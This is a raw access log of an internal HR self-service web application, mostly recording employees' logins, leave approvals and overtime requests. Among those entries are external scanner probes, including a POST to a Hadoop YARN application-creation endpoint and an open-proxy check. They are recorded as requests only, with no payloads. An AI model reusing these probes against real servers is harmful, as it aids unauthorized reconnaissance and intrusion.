192.168.40.39 - - [03/Sep/2025:15:02:07 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg? HTTP/1.1" 200 186986 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:02:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:02:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:02:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.40.39 - - [03/Sep/2025:15:02:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:02:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.40.39 - - [03/Sep/2025:15:02:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:02:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:02:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.40.39 - - [03/Sep/2025:15:02:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:02:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.40.39 - - [03/Sep/2025:15:03:02 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 8139 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:03:02 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 8139
100.64.0.1 - - [03/Sep/2025:15:03:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:03:20 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:03:55 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:03:55 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:04:32 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:04:32 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:05:19 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:05:19 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:05:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:05:56 +0800] "GET / HTTP/1.0" 200 439
192.168.11.89 - - [03/Sep/2025:15:05:58 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.11.89 - - [03/Sep/2025:15:05:58 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.89 - - [03/Sep/2025:15:06:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.89 - - [03/Sep/2025:15:06:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.89 - - [03/Sep/2025:15:06:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [03/Sep/2025:15:06:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2686946343178753 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2686946343178753 HTTP/1.1" 200 8816
192.168.11.89 - - [03/Sep/2025:15:06:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2686946343178753 HTTP/1.1" 200 16790
192.168.11.89 - - [03/Sep/2025:15:06:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2686946343178753 HTTP/1.1" 200 16790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2686946343178753" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4480 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4480
192.168.11.89 - - [03/Sep/2025:15:06:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:06:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [03/Sep/2025:15:07:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.036223431534191164 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.036223431534191164 HTTP/1.1" 200 8816
192.168.11.89 - - [03/Sep/2025:15:07:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.036223431534191164 HTTP/1.1" 200 16790
192.168.11.89 - - [03/Sep/2025:15:07:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.036223431534191164 HTTP/1.1" 200 16790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.036223431534191164" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269
192.168.11.89 - - [03/Sep/2025:15:07:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [03/Sep/2025:15:07:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:15:07:30 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [03/Sep/2025:15:07:30 +0800] "GET / HTTP/1.1" 200 439
192.168.11.89 - - [03/Sep/2025:15:07:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29505622932953557 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29505622932953557 HTTP/1.1" 200 8816
192.168.11.89 - - [03/Sep/2025:15:07:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29505622932953557 HTTP/1.1" 200 10987 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29505622932953557" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29505622932953557 HTTP/1.1" 200 10987
192.168.11.89 - - [03/Sep/2025:15:07:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063
192.168.11.89 - - [03/Sep/2025:15:07:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8205
192.168.11.89 - - [03/Sep/2025:15:07:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15603 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [03/Sep/2025:15:07:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15603
100.64.0.1 - - [03/Sep/2025:15:09:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:09:56 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:11:02 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:11:02 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:14:19 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:14:19 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:15:21 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:15:21 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:16:18 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:16:18 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:18:19 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:15:18:19 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [03/Sep/2025:15:18:39 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:18:39 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:19:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:15:19:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:15:20:36 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:20:36 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:20:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:15:20:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:15:21:22 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203
100.64.0.1 - - [03/Sep/2025:15:21:22 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:15:22:47 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:22:47 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:24:02 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:24:02 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:24:29 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:24:29 +0800] "GET / HTTP/1.0" 200 439
192.168.40.48 - - [03/Sep/2025:15:25:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:15:25:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [03/Sep/2025:15:25:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [03/Sep/2025:15:25:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [03/Sep/2025:15:25:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [03/Sep/2025:15:25:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [03/Sep/2025:15:25:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
